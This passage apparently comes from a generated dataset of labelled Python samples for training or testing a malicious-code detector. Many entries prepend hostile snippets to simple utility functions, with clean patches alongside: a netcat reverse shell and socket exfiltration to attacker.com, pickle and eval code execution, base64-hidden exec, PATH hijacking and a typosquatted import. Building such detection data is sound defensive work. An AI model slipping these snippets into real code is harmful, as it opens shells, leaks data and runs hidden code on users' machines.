"tp_0254867e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_935c939e", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fa22356f", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_ded9cc1a", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_b389ea77", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_736444c1", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8735175c", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_707646a2", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_17fcce13", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0ce461e1", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f2ccd8d2", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_31a10190", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8903c16c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_7dbd3f04", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_cbc6d58e", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_3cede768", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_34ec49c4", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d9f71159", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1788829e", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_2fad0285", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_bcfd1089", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_c047e809", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ee4f5c44", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_b01cc137", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b8d5dec3", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_6fbc2522", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_067154d3", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_25e713f5", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_66f10ca5", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_9ecba2b8", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_0fc21879", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_a9238950", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_fb1506c1", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2a89226a", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ee8ba1fc", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_93d9f038", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7aeaf6e5", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_77d37c4e", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_fefa1d03", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_9f672fc4", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_af2f5a9d", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_099fc071", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_5ee03b1d", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_bcbe306e", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3b95ad8f", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_9f2ca414", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_69bb24eb", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_0ce3498d", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_db0b4b31", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_anagram(s1, s2):\n 